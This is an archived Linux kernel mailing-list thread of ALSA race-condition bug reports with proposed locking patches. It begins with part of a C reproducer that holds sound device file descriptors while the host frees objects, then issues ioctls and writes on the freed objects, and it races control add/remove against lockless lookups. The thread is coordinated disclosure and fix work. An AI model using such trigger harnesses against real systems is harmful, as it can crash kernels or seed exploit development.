* SNDRV_CTL_IOCTL_ELEM_LIST + ELEM_INFO on
* /dev/snd/controlC0 while a dangling (freed but
* still-linked) jack kcontrol sits in card->controls.
* mr06storm [secs] - FW-MR-06 writer side: loop SNDRV_CTL_IOCTL_ELEM_ADD +
* ELEM_REMOVE of a user control with iface=CARD whose
* name is copied from an existing CARD control (same
* ctl_hash key as the jack controls the reconfig probe
* looks up locklessly in get_available_index()).
* waitdev <path> [timeout_ms] - poll until a device node appears.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sound/asound.h>
#include "include/sound/sfnt_info.h"
static void waitdev(const char *path, int timeout_ms)
{
int waited = 0;
struct stat st;
while (stat(path, &st) != 0) {
if (waited >= timeout_ms)
return;
usleep(20000);
waited += 20;
}
}
/* ---- FW-MR-02 ---- */
static int plan_mr02hold(int secs)
{
int fd;
unsigned int ver = 0;
waitdev("/dev/snd/hwC0D0", 8000);
fd = open("/dev/snd/hwC0D0", O_RDWR);
if (fd < 0) {
fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
return 1;
}
printf("MR02HOLD: fd open (hw->used=1), VERSION probe done\n");
fflush(stdout);
printf("MR02HOLD: holding fd for %ds (host frees emux now)\n", secs);
fflush(stdout);
sleep(secs);
printf("MR02HOLD: ioctl on freed hwdep (in snd_hwdep_ioctl path)\n");
fflush(stdout);
ioctl(fd, SNDRV_EMUX_IOCTL_VERSION, &ver);
printf("MR02HOLD: closing -> real snd_hwdep_release() on freed hw\n");
fflush(stdout);
close(fd);
printf("MR02HOLD: reopen attempt (minor unregistered -> ENODEV)\n");
fflush(stdout);
close(open("/dev/snd/hwC0D0", O_RDWR));
printf("MR02HOLD: done\n");
return 0;
}
static int plan_mr02hammer(int iters)
{
int fd, i;
unsigned int ver = 0;
waitdev("/dev/snd/hwC0D0", 8000);
fd = open("/dev/snd/hwC0D0", O_RDWR);
if (fd < 0) {
fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
return 1;
}
printf("MR02HAMMER: %d ioctl iterations\n", iters);
fflush(stdout);
for (i = 0; i < iters; i++) {
ioctl(fd, SNDRV_EMUX_IOCTL_VERSION, &ver);
if ((i % 256) == 0) {
printf("MR02HAMMER: iter %d\n", i);
fflush(stdout);
}
usleep(100);
}
printf("MR02HAMMER: closing\n");
fflush(stdout);
close(fd);
sleep(2);
close(open("/dev/snd/hwC0D0", O_RDWR));
printf("MR02HAMMER: done\n");
return 0;
}
/* ---- FW-MR-03 ---- */
static int plan_mr03midi(int secs)
{
int fd, n = 0;
unsigned char msg[3] = { 0x90, 0x40, 0x7f };
waitdev("/dev/snd/midiC0D0", 15000);
fd = open("/dev/snd/midiC0D0", O_WRONLY | O_NONBLOCK);
if (fd < 0) {
fprintf(stderr, "open midiC0D0: %s\n", strerror(errno));
return 1;
}
printf("MR03MIDI: opened output; writing bytes (arms output_work)\n");
fflush(stdout);
/* a few writes: each runs snd_rawmidi_kernel_write1 ->
* snd_rawmidi_output_trigger(substream, 1) -> queue_work */
for (n = 0; n < 32; n++)
{ ssize_t wr_ = write(fd, msg, sizeof(msg)); (void)wr_; }
printf("MR03MIDI: %d writes queued; holding fd for %ds "
"(host frees emux now)\n", n, secs);
fflush(stdout);
sleep(secs);
printf("MR03MIDI: writing again on freed rmidi\n");
fflush(stdout);
for (n = 0; n < 8; n++)
{ ssize_t wr_ = write(fd, msg, sizeof(msg)); (void)wr_; }
printf("MR03MIDI: closing -> real snd_rawmidi_release() on freed rmidi\n");
fflush(stdout);
close(fd);
printf("MR03MIDI: reopen attempt (minor unregistered -> ENODEV)\n");
fflush(stdout);
close(open("/dev/snd/midiC0D0", O_WRONLY | O_NONBLOCK));
printf("MR03MIDI: done\n");
return 0;
}
/* ---- FW-MR-04 ---- */
static int plan_mr04pcm(int secs)
{
int fd, i;
unsigned int ver = 0;
struct snd_pcm_info info;
waitdev("/dev/snd/pcmC1D0p", 15000);
fd = open("/dev/snd/pcmC1D0p", O_WRONLY);
if (fd < 0) {
fprintf(stderr, "open pcmC0D0p: %s\n", strerror(errno));
return 1;
}
printf("MR04PCM: opened via real snd_pcm_open (ref_count=1)\n");
fflush(stdout);
for (i = 0; i < 64; i++) {
ioctl(fd, SNDRV_PCM_IOCTL_PVERSION, &ver);
memset(&info, 0, sizeof(info));
ioctl(fd, SNDRV_PCM_IOCTL_INFO, &info);
usleep(1000);
}
printf("MR04PCM: 64 probe ioctls done; holding fd for %ds "
"(host frees pcm now)\n", secs);
fflush(stdout);
sleep(secs);
printf("MR04PCM: INFO ioctl on freed substream/pcm (in snd_pcm_info)\n");
fflush(stdout);
memset(&info, 0, sizeof(info));
ioctl(fd, SNDRV_PCM_IOCTL_INFO, &info);
printf("MR04PCM: closing -> real snd_pcm_release() on freed objects\n");
fflush(stdout);
close(fd);
printf("MR04PCM: reopen attempt (minor unregistered -> ENODEV)\n");
fflush(stdout);
close(open("/dev/snd/pcmC1D0p", O_WRONLY));
printf("MR04PCM: done\n");
return 0;
}
/* ---- FW-MR-01 / FW-MR-06 control-face helpers ---- */
static int ctl_open(void)
{
int fd = open("/dev/snd/controlC0", O_RDWR);
if (fd < 0)
fprintf(stderr, "open controlC0: %s\n", strerror(errno));
return fd;
}
static int plan_mr01read(int secs)
{
int fd, i, n, err;
struct snd_ctl_elem_list list;
struct snd_ctl_elem_id *ids;
struct snd_ctl_elem_info info;
unsigned long until = (unsigned long)time(NULL) + secs;
fd = ctl_open();
if (fd < 0)
return 1;
ids = calloc(256, sizeof(*ids));
printf("MR01READ: hammering ELEM_LIST+ELEM_INFO for %ds\n", secs);
fflush(stdout);
i = 0;
while ((unsigned long)time(NULL) < until) {
memset(&list, 0, sizeof(list));
list.offset = 0;
list.space = 256;
list.pids = ids;
err = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list);
if (err < 0)
break;
for (n = 0; n < (int)list.count && n < 256; n++) {
memset(&info, 0, sizeof(info));
info.id = ids[n];
ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info);
}
if ((++i % 64) == 0) {
printf("MR01READ: round %d (count=%u)\n", i, list.count);
fflush(stdout);
}
usleep(2000);
}
printf("MR01READ: done (%d rounds)\n", i);
free(ids);
close(fd);
return 0;
}
static int plan_mr06storm(int secs)
{
int fd, card, i, added = 0;
struct snd_ctl_elem_list list;
struct snd_ctl_elem_id *ids;
struct snd_ctl_elem_info info;
struct snd_ctl_elem_id remove_id;
unsigned long until = (unsigned long)time(NULL) + secs;
fd = ctl_open();
if (fd < 0)
return 1;
/* take the name of an existing CARD-interface control so the user
* control shares the ctl_hash key of the jack controls that the
* reconfig probe's get_available_index() looks up locklessly */
ids = calloc(256, sizeof(*ids));
memset(&list, 0, sizeof(list));
list.offset = 0;
list.space = 256;
list.pids = ids;
if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list) < 0) {
fprintf(stderr, "ELEM_LIST: %s\n", strerror(errno));
free(ids);
close(fd);
return 1;
}
memset(&info, 0, sizeof(info));
for (i = 0; i < (int)list.count && i < 256; i++) {
info.id = ids[i];
if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info) < 0)
continue;
if (info.id.iface == SNDRV_CTL_ELEM_IFACE_CARD)
break;
}
if (i >= (int)list.count) {
fprintf(stderr, "no CARD control found\n");
free(ids);
close(fd);
return 1;
}
printf("MR06STORM: adding/removing iface=CARD user control '%s' "
"for %ds\n", info.id.name, secs);
fflush(stdout);
i = 0;
while ((unsigned long)time(NULL) < until) {
memset(&info, 0, sizeof(info));
info.id.iface = SNDRV_CTL_ELEM_IFACE_CARD;
strncpy((char *)info.id.name, "Headphone Jack",
sizeof(info.id.name) - 1);
info.type = SNDRV_CTL_ELEM_TYPE_BOOLEAN;
info.count = 1;
info.owner = 0;
if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_ADD, &info) < 0)
goto drop;
added++;
remove_id = info.id;
ioctl(fd, SNDRV_CTL_IOCTL_ELEM_REMOVE, &remove_id);
drop:
if ((++i % 256) == 0) {
printf("MR06STORM: round %d (added=%d)\n", i, added);
fflush(stdout);
}
usleep(500);
}
(void)card;
printf("MR06STORM: done (%d rounds, %d added)\n", i, added);
free(ids);
close(fd);
return 0;
}
static int plan_mr01dump(void)
{
int fd, n, err;
struct snd_ctl_elem_list list;
struct snd_ctl_elem_id *ids;
struct snd_ctl_elem_info info;
fd = ctl_open();
if (fd < 0)
return 1;
ids = calloc(256, sizeof(*ids));
memset(&list, 0, sizeof(list));
list.offset = 0;
list.space = 256;
list.pids = ids;
err = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list);
if (err < 0) {
printf("MR01DUMP: ELEM_LIST failed (%s)\n", strerror(errno));
free(ids);
close(fd);
return 1;
}
printf("MR01DUMP: controls_count=%u (dangling entry stays listed)\n",
list.count);
fflush(stdout);
for (n = 0; n < (int)list.count && n < 256; n++) {
memset(&info, 0, sizeof(info));
info.id = ids[n];
ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info);
printf("MR01DUMP: numid=%-5u iface=%d %s\n",
ids[n].numid, ids[n].iface, ids[n].name);
fflush(stdout);
}
free(ids);
close(fd);
return 0;
}
int main(int argc, char **argv)
{
if (argc < 2) {
fprintf(stderr, "usage: fwmr_test <plan> [arg]\n");
return 2;
}
if (!strcmp(argv[1], "mr02hold"))
return plan_mr02hold(argc > 2 ? atoi(argv[2]) : 4);
if (!strcmp(argv[1], "mr02hammer"))
return plan_mr02hammer(argc > 2 ? atoi(argv[2]) : 20000);
if (!strcmp(argv[1], "mr03midi"))
return plan_mr03midi(argc > 2 ? atoi(argv[2]) : 6);
if (!strcmp(argv[1], "mr04pcm"))
return plan_mr04pcm(argc > 2 ? atoi(argv[2]) : 6);
if (!strcmp(argv[1], "mr01dump"))
return plan_mr01dump();
if (!strcmp(argv[1], "mr01read"))
return plan_mr01read(argc > 2 ? atoi(argv[2]) : 15);
if (!strcmp(argv[1], "mr06storm"))
return plan_mr06storm(argc > 2 ? atoi(argv[2]) : 60);
if (!strcmp(argv[1], "waitdev"))
return (waitdev(argv[2], argc > 3 ? atoi(argv[3]) : 10000), 0);
fprintf(stderr, "unknown plan %s\n", argv[1]);
return 2;
}
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: ALSA: control: find_id()/find_numid() kerneldoc claims they take controls_rwlock internally; the FAST_LOOKUP implementation is a lockless, unreferenced xa_load and several in-tree callers use it unlocked (UAF)
2026-12-01 4:39 ` ALSA: control: find_id()/find_numid() kerneldoc claims they take controls_rwlock internally; the FAST_LOOKUP implementation is a lockless, unreferenced xa_load and several in-tree callers use it unlocked (UAF) 徐晗翔
@ 2026-12-01 12:01 ` 徐晗翔
0 siblings, 0 replies; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 12:01 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
Update: partially fixed in 7.4-rc5 -- get_available_index() and
snd_ctl_add_followers() now hold controls_rwsem, but the two
kerneldoc blocks still claim the functions take the lock internally
and snd_usb_mixer_add_list()'s dedup loop is still unlocked, so the
stale-documentation and remaining-caller part of the report still
stands.
Thanks.
> -----原始邮件-----
> 发件人: 徐晗翔 <xuhx@hust.edu.cn>
> 发送时间:2026-12-01 12:39:55 (星期二)
> 收件人: perex@perex.cz, tiwai@suse.com
> 抄送: linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org
> 主题: ALSA: control: find_id()/find_numid() kerneldoc claims they take controls_rwlock internally; the FAST_LOOKUP implementation is a lockless, unreferenced xa_load and several in-tree callers use it unlocked (UAF)
>
> With CONFIG_SND_CTL_FAST_LOOKUP, snd_ctl_find_numid() and
> snd_ctl_find_id() are, on their fast paths, plain xa_load() calls on
> card->ctl_numids / card->ctl_hash that return an unreferenced
> struct snd_kcontrol pointer which the callers immediately dereference
> (elem_id_matches(), control.c:855). Both kerneldoc blocks still state
> "Note that this function takes card->controls_rwlock lock internally"
> (control.c:816 and 841) -- that is stale and factually wrong for the
> FAST_LOOKUP implementation, which only takes controls_rwlock in its
> fallback branch. The removal path frees the object without any grace
> period (__snd_ctl_remove() -> remove_hash_entries() -> kfree(),
> control.c:588/598/331), so an xa_load that raced a concurrent
> xa_erase() dereferences freed memory. The core ioctl paths hold
> card->controls_rwsem (read) around their lookups and are safe, but
> several in-tree callers use the two functions with no lock at all:
> get_available_index() in sound/core/ctljack.c (the dedup loop used by
> every jack-kcontrol creation, run from driver probe on an already
> registered card), snd_ctl_add_followers() in sound/core/vmaster.c,
> find_mixer_ctl() in sound/hda/common/codec.c, and the dedup loop of
> snd_usb_mixer_add_list() in sound/usb/mixer.c.
>
> We want to be explicit about what we could and could not demonstrate.
> The reader window we probed -- get_available_index() during an HDA
> reconfig reprobe -- turns out to be mutually exclusive with a
> user-space ELEM_ADD/ELEM_REMOVE writer: snd_hda_lock_devices()
> (sound/hda/common/codec.c) refuses the reconfig reset while any
> control file is open ("The codec is being used"), and an
> open("/dev/snd/controlC0") inside the reset window fails with ENODEV.
> We measured both on 7.3 (negative plan attached), so the user-space
> writer pairing is structurally closed and no dynamic hit was possible
> through it. The remaining reachable writer pairs are driver-side (a
> second codec of the same card being reset/unbound, or card teardown),
> which a single-codec QEMU guest cannot build. We therefore report
> this as a locking-contract defect (wrong kerneldoc, latent
> use-after-free, unreferenced pointers escaping into longer-lived
> state) rather than as an actively exploitable bug, together with a
> patch that restores the contract at the unlocked call sites.
>
> The detailed description:
>
> * Test environment / affected version
>
> Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #3 SMP PREEMPT_DYNAMIC
> -- vanilla mainline 7.3 release tarball, KASAN + CONFIG_SND_CTL_FAST_LOOKUP
> enabled, QEMU/KVM x86_64 guest with intel-hda + hda-duplex
> (CONFIG_SND_HDA_RECONFIG / SND_HDA_GENERIC). sound/core/control.c,
> sound/core/ctljack.c, sound/core/vmaster.c, sound/usb/mixer.c are
> byte-identical to mainline 7.3; line numbers below are from 7.3.
>
> * Mechanism
>
> - FAST_LOOKUP read path: snd_ctl_find_numid() is
> xa_load(&card->ctl_numids, numid) (control.c:825);
> snd_ctl_find_id() does xa_load(&card->ctl_hash, hash) followed by
> an immediate elem_id_matches(kctl, id) dereference of
> kctl->id.{iface,device,subdevice,name,index,count} (control.c:854,
> 370-379). controls_rwlock is only taken in the collision/fallback
> branch (control.c:861).
>
> - Free path has no grace period: __snd_ctl_remove() erases the hash
> entries (588) and kfree()s the kcontrol (598 -> 331) directly; the
> XArray's internal RCU protects the array walk, not the object
> lifetime, so "xa_load returned the pointer" and "kfree() already
> ran" can overlap with the reader between load and dereference.
>
> - The window is real code distance, not theory: between the
> xa_load() at 854 and elem_id_matches() at 855 the writer can
> complete both xa_erase() and kfree().
>
> - Unlocked callers (all verified to hold no controls_rwsem in their
> calling context): ctljack.c:41 (get_available_index loop, jack
> creation during probe on a registered card), vmaster.c:298
> (snd_ctl_add_followers), hda codec.c:1645 (find_mixer_ctl),
> usb/mixer.c:592 (snd_usb_mixer_add_list dedup loop).
>
> - Reachability boundary (measured): reconfig-driven readers cannot
> run concurrently with any control-file holder because
> snd_hda_lock_devices() gates the reset on an empty
> card->ctl_files. Driver-side writers (second codec reset/unbind
> on the same card; snd_ctl_dev_free() at card teardown) do not have
> that coupling and remain reachable.
>
> * Trigger model
>
> Latent defect: needs an unlocked lookup in flight while the same
> (or hash-colliding) control is removed concurrently -- realistically
> the dual-codec HDA reconfig/unbind pairing, or card teardown. The
> consequence of a hit is a use-after-free read in elem_id_matches()
> and an unreferenced dangling pointer handed to callers that store it
> (e.g. snd_ctl_add_followers() would register a freed follower), plus
> wrong dedup decisions from re-used memory. We did not observe a
> dynamic hit and are not claiming exploitability; the report is about
> the violated contract, the stale documentation and the unlocked
> in-tree callers.
>
> * Reproducer (attached: fwmr_test.c) and results on 7.3
>
> The attached mr06storm plan is the writer half (ELEM_ADD/ELEM_REMOVE
> of an iface=CARD user control whose name matches an existing jack
> control, i.e. same ctl_hash key). The measured negative: the
> reconfig loop's reset is rejected ("being used") once the storm
> holds controlC0, and open(controlC0) inside the reset window returns
> ENODEV -- the pairing cannot be built from user space (log excerpt
> attached). The dual-codec pairing needs hardware/guest topologies
> we could not assemble.
>
> * Suggested patch
>
> Restore the documented contract at the unlocked call sites and fix
> the documentation: both kerneldoc blocks now state the truth (the
> returned pointer is unreferenced, FAST_LOOKUP is an unlocked
> xa_load, callers must hold controls_rwsem or protect the object),
> and the three straightforwardly wrappable callers
> (ctljack.c get_available_index(), vmaster.c snd_ctl_add_followers(),
> usb/mixer.c snd_usb_mixer_add_list() -- the latter releases the read
> lock before snd_ctl_add() takes the write lock) hold
> controls_rwsem read for their lookup sections. find_mixer_ctl() in
> the HDA code was deliberately left out pending an audit of its
> callers, several of which are reachable in contexts we could not all
> verify. A deeper fix (kfree_rcu for kcontrols + RCU read sections)
> is worth discussing but touches the release path of every control
> type, so it is out of scope for this first patch. The complete
> patch against 7.3 follows (also kept as patch/0001-fw-mr06.patch).
>
> ---- patch begins ----
> ---
> --- a/sound/core/control.c
> +++ b/sound/core/control.c
> @@ -813,7 +813,11 @@
> *
> * Return: The pointer of the instance if found, or %NULL if not.
> *
> * Note that this function takes card->controls_rwlock lock internally.
> */
> struct snd_kcontrol *snd_ctl_find_numid(struct snd_card *card,
> unsigned int numid)
> @@ -838,7 +842,11 @@
> *
> * Return: The pointer of the instance if found, or %NULL if not.
> *
> * Note that this function takes card->controls_rwlock lock internally.
> */
> struct snd_kcontrol *snd_ctl_find_id(struct snd_card *card,
> const struct snd_ctl_elem_id *id)
> --- a/sound/core/ctljack.c
> +++ b/sound/core/ctljack.c
> @@ -38,6 +38,13 @@
> sid.iface = SNDRV_CTL_ELEM_IFACE_CARD;
> strscpy(sid.name, name, sizeof(sid.name));
>
> + guard(rwsem_read)(&card->controls_rwsem);
> while (snd_ctl_find_id(card, &sid)) {
> sid.index++;
> /* reset numid; otherwise snd_ctl_find_id() hits this again */
> --- a/sound/core/vmaster.c
> +++ b/sound/core/vmaster.c
> @@ -295,7 +295,10 @@
> int err;
>
> for (; *list; list++) {
> - follower = snd_ctl_find_id_mixer(card, *list);
> + /* find_id_mixer() returns an unreferenced pointer; protect
> + * the lookup against concurrent removals */
> + scoped_guard(rwsem_read, &card->controls_rwsem)
> + follower = snd_ctl_find_id_mixer(card, *list);
> if (follower) {
> err = snd_ctl_add_follower(master, follower);
> if (err < 0)
> --- a/sound/usb/mixer.c
> +++ b/sound/usb/mixer.c
> @@ -589,8 +589,13 @@
> struct usb_mixer_interface *mixer = list->mixer;
> int err;
>
> - while (snd_ctl_find_id(mixer->chip->card, &kctl->id))
> - kctl->id.index++;
> + /* snd_ctl_find_id() returns an unreferenced pointer; hold the read
> + * lock for the dedup loop only (snd_ctl_add() takes the write
> + * lock itself) */
> + scoped_guard(rwsem_read, &mixer->chip->card->controls_rwsem) {
> + while (snd_ctl_find_id(mixer->chip->card, &kctl->id))
> + kctl->id.index++;
> + }
> err = snd_ctl_add(mixer->chip->card, kctl);
> if (err < 0) {
> usb_audio_dbg(mixer->chip, "cannot add control (err = %d)\n",
> ---- patch ends ----
>
>
> Please keep me in Cc; I am not subscribed to the lists.
>
> Regards,
> Hanxiang Xu
> xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread
* ALSA: aoa/i2sbus: unlocked codec_list / dev->pcm check-and-free in i2sbus_detach_codec() can double-free the pcm under concurrent codec detaches (Double free)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (23 preceding siblings ...)
2026-12-01 4:39 ` ALSA: control: find_id()/find_numid() kerneldoc claims they take controls_rwlock internally; the FAST_LOOKUP implementation is a lockless, unreferenced xa_load and several in-tree callers use it unlocked (UAF) 徐晗翔
@ 2026-12-01 4:42 ` 徐晗翔
2026-12-01 12:02 ` 徐晗翔
2026-12-01 12:12 ` ASoC: intel: atom: SST: synchronize the DSP threaded IRQ against the PCM close path (UAF) 徐晗翔
` (16 subsequent siblings)
41 siblings, 1 reply; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 4:42 UTC (permalink / raw)
To: johannes; +Cc: linux-sound, linux-kernel, linuxppc-dev
i2sbus_detach_codec() (sound/aoa/soundbus/i2sbus/pcm.c:1021-1043) is
the remove callback of the AOA soundbus codec plumbing. It walks and
mutates dev->codec_list with no lock, and ends in an unlocked
check-then-free: "if (list_empty(&dev->codec_list) && dev->pcm)
snd_device_free(dev->pcm->card, dev->pcm)". Two properties make that
a race rather than a benign sequence:
1. The callers hold device locks that do not serialize against each
other. Codec drivers detach from i2c driver context (onyx/tas/
toonie i2c remove -> aoa_codec_unregister() -> codec->exit() ->
i2sbus_detach_codec(), each holding its own i2c client device
lock), while i2sbus/fabric removal runs from the macio/soundbus
device lock context (i2sbus_remove() -> soundbus_remove_one() ->
aoa_fabric_layout_remove() -> aoa_fabric_unlink_codec() ->
codec->exit() -> the same function). No lock is shared between
any two of these entry points, and the function itself takes none.
2. A bus can host more than one codec: MAX_CODECS_PER_BUS is 2
(sound/aoa/fabrics/layout.c:22, codecs[MAX_CODECS_PER_BUS]). Two
codec drivers being removed concurrently (concurrent rmmod of
snd-aoa-codec-onyx and snd-aoa-codec-tas, or concurrent i2c
unbinds) therefore enter i2sbus_detach_codec() on the same
soundbus_dev from two CPUs.
With both threads past their own list_del(&cii->list), both evaluate
list_empty(&dev->codec_list) as true, and both see dev->pcm != NULL
(it is only cleared later, inside i2sbus_private_free(), which runs
from within snd_pcm_free() at the tail of the first snd_device_free()).
Both then call snd_device_free(card, dev->pcm) on the same pcm. The
interleavings are: both enter look_for_dev() and iterate card->devices
while the other thread list_del()s and kfree()s the same struct
snd_device wrapper (use-after-free on the wrapper and card-device-list
corruption), or both find the entry and run __snd_device_free() twice
-- snd_pcm_free() executed twice, including snd_ctl_remove() of the
chmap control and kfree(pcm) twice. Independently of the pcm, the
same snd_device_free() racing snd_card_disconnect()'s
snd_device_disconnect_all() walk (sound/core/device.c:208-216 -- the
card device list has no locking at all) corrupts the list from the
other direction. Consequence: double free / use-after-free /
list corruption, i.e. memory corruption beyond the driver.
The detailed description:
* Test environment / affected version
Source analysis against the mainline 7.3 release tree (unmodified);
sound/aoa/soundbus/i2sbus/pcm.c, sound/aoa/soundbus/soundbus.h,
sound/aoa/fabrics/layout.c and sound/aoa/core/core.c are
byte-identical to mainline 7.3; line numbers below are from 7.3.
No dynamic run was possible: AOA (Apple Onboard Audio,
sound/aoa/) exists only on PowerMac hardware (macio/i2sbus/i2c),
which our x86 QEMU environment cannot instantiate. The related
ALSA-core mechanism (concurrent snd_device_free() vs. the unlocked
card->devices walkers) has been demonstrated separately on 7.3 in a
controlled collision run of another report (14 use-after-free
reports across snd_device_disconnect_all()/snd_hwdep_dev_disconnect);
that collision was harness-driven and is cited only as mechanism
evidence, not as a natural-timing result.
* Mechanism
- Entry points and their locks:
codec driver rmmod/unbind -> aoa_codec_unregister()
(core/core.c:72-82) -> codec->exit = onyx_exit_codec/tas_exit_codec
(onyx.c:966-973, tas.c:838-843) -> dev->detach_codec =
i2sbus_detach_codec (core.c:228-229) [i2c client lock]
i2sbus macio removal -> i2sbus_remove() (i2sbus/core.c:371-379)
-> soundbus_remove_one() -> device_del() ->
aoa_fabric_layout_remove() (layout.c) ->
aoa_fabric_unlink_codec() (core.c:133-148) -> codec->exit() ->
i2sbus_detach_codec [soundbus/macio device lock]
fabric module rmmod -> aoa_fabric_unregister() ->
aoa_fabric_unlink_codec() per codec, then aoa_alsa_cleanup() ->
snd_card_free() [no i2c lock]
- The unchecked sequence: i2sbus_detach_codec() does
list_for_each_entry over dev->codec_list, list_del(&cii->list),
then "if (list_empty(&dev->codec_list) && dev->pcm)
snd_device_free(dev->pcm->card, dev->pcm)". dev->pcm is only
cleared by i2sbus_private_free() (the pcm->private_free callback),
which runs late inside the first snd_device_free() -- leaving a
wide two-thread check-then-free window.
- The double device_free: snd_device_free() looks the entry up in
the card->devices list (look_for_dev(), sound/core/device.c:82-91,
unlocked), list_del()s it and kfree()s the wrapper; two concurrent
calls on the same device_data either both find it (two
__snd_device_free() -> two snd_pcm_free() -> two kfree(pcm), plus
a double list_del of the same node) or the second walks the list
while the first mutates/frees it.
* Trigger model
Root on a PowerMac with an AOA layout that attaches two codecs to
one i2sbus (the layout tables support MAX_CODECS_PER_BUS = 2):
concurrent `rmmod snd-aoa-codec-onyx` and `rmmod snd-aoa-codec-tas`
(or two concurrent i2c unbinds), or a codec rmmod racing
`rmmod snd-aoa-soundbus` / i2sbus device removal. Consequence:
pcm double free, card->devices list corruption and use-after-free
on struct snd_device; the same corruption then propagates into
snd_card_do_free()'s device walk.
* Reproducer
None attached -- the platform is unavailable to us and we did not
want to hand a synthetic hammer for a driver we cannot test; the
interleaving above is directly constructible with the module
lifecycle commands on any PowerMac with a two-codec layout.
* Suggested patch
Serialize codec_list / dev->pcm with a per-driver mutex taken by
both i2sbus_attach_codec() and i2sbus_detach_codec() (the attach
path's list_add and pcm creation are equally unserialized), and
claim dev->pcm before calling snd_device_free() so a concurrent
detach can never re-enter the free. A deeper fix -- anchoring the
pcm lifetime on its device with file-held references, like the
suggested hwdep/rawmidi/pcm patches in the sibling reports -- would
additionally close the open-fd window of this detach path; that core
change is discussed in those mails and out of scope here. The
complete patch against 7.3 follows (also kept as
patch/0001-fw-mr07.patch); happy to rework per review.
---- patch begins ----
---
--- a/sound/aoa/soundbus/i2sbus/pcm.c
+++ b/sound/aoa/soundbus/i2sbus/pcm.c
@@ -862,6 +862,13 @@
struct i2sbus_dev *i2sdev = soundbus_dev_to_i2sbus_dev(dev);
struct codec_info_item *cii;
+ /*
+ * codec attach/detach run from i2c driver context while bus removal
+ * runs from soundbus/macio context; the two hold different device
+ * locks, so codec_list and dev->pcm need their own serialization.
+ */
+ guard(mutex)(&i2sbus_pcm_mutex);
+
if (!dev->pcmname || dev->pcmid == -1) {
printk(KERN_ERR "i2sbus: pcm name and id must be set!\n");
return -EINVAL;
@@ -1018,10 +1025,19 @@
return err;
}
+static DEFINE_MUTEX(i2sbus_pcm_mutex);
+
void i2sbus_detach_codec(struct soundbus_dev *dev, void *data)
{
struct codec_info_item *cii = NULL, *i;
+ guard(mutex)(&i2sbus_pcm_mutex);
list_for_each_entry(i, &dev->codec_list, list) {
if (i->codec_data == data) {
cii = i;
@@ -1035,7 +1051,13 @@
}
/* no more codecs, but still a pcm? */
if (list_empty(&dev->codec_list) && dev->pcm) {
+ struct snd_pcm *pcm = dev->pcm;
+ struct snd_card *card = pcm->card;
+
+ /* claim before freeing: a concurrent detach_codec() must
+ * not re-enter snd_device_free() on the same pcm */
+ dev->pcm = NULL;
/* the actual cleanup is done by the callback above! */
- snd_device_free(dev->pcm->card, dev->pcm);
- }
-}
+ snd_device_free(card, pcm);
+ }
+}
---- patch ends ----
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: ALSA: aoa/i2sbus: unlocked codec_list / dev->pcm check-and-free in i2sbus_detach_codec() can double-free the pcm under concurrent codec detaches (Double free)
2026-12-01 4:42 ` ALSA: aoa/i2sbus: unlocked codec_list / dev->pcm check-and-free in i2sbus_detach_codec() can double-free the pcm under concurrent codec detaches (Double free) 徐晗翔
@ 2026-12-01 12:02 ` 徐晗翔
0 siblings, 0 replies; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 12:02 UTC (permalink / raw)
To: johannes; +Cc: linux-sound, linux-kernel, linuxppc-dev
Update: still present in 7.4-rc5 -- sound/aoa/soundbus/i2sbus/pcm.c
is byte-identical between 7.3 and 7.4-rc5 (as is
fabrics/layout.c's MAX_CODECS_PER_BUS=2), so the unlocked
check-then-free and the concurrent-detach double-free window remain
(analysis is source-level, as the platform is unavailable to us).
Thanks.
> -----原始邮件-----
> 发件人: 徐晗翔 <xuhx@hust.edu.cn>
> 发送时间:2026-12-01 12:42:23 (星期二)
> 收件人: johannes@sipsolutions.net
> 抄送: linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org, linuxppc-dev@lists.ozlabs.org
> 主题: ALSA: aoa/i2sbus: unlocked codec_list / dev->pcm check-and-free in i2sbus_detach_codec() can double-free the pcm under concurrent codec detaches (Double free)
>
> i2sbus_detach_codec() (sound/aoa/soundbus/i2sbus/pcm.c:1021-1043) is
> the remove callback of the AOA soundbus codec plumbing. It walks and
> mutates dev->codec_list with no lock, and ends in an unlocked
> check-then-free: "if (list_empty(&dev->codec_list) && dev->pcm)
> snd_device_free(dev->pcm->card, dev->pcm)". Two properties make that
> a race rather than a benign sequence:
>
> 1. The callers hold device locks that do not serialize against each
> other. Codec drivers detach from i2c driver context (onyx/tas/
> toonie i2c remove -> aoa_codec_unregister() -> codec->exit() ->
> i2sbus_detach_codec(), each holding its own i2c client device
> lock), while i2sbus/fabric removal runs from the macio/soundbus
> device lock context (i2sbus_remove() -> soundbus_remove_one() ->
> aoa_fabric_layout_remove() -> aoa_fabric_unlink_codec() ->
> codec->exit() -> the same function). No lock is shared between
> any two of these entry points, and the function itself takes none.
>
> 2. A bus can host more than one codec: MAX_CODECS_PER_BUS is 2
> (sound/aoa/fabrics/layout.c:22, codecs[MAX_CODECS_PER_BUS]). Two
> codec drivers being removed concurrently (concurrent rmmod of
> snd-aoa-codec-onyx and snd-aoa-codec-tas, or concurrent i2c
> unbinds) therefore enter i2sbus_detach_codec() on the same
> soundbus_dev from two CPUs.
>
> With both threads past their own list_del(&cii->list), both evaluate
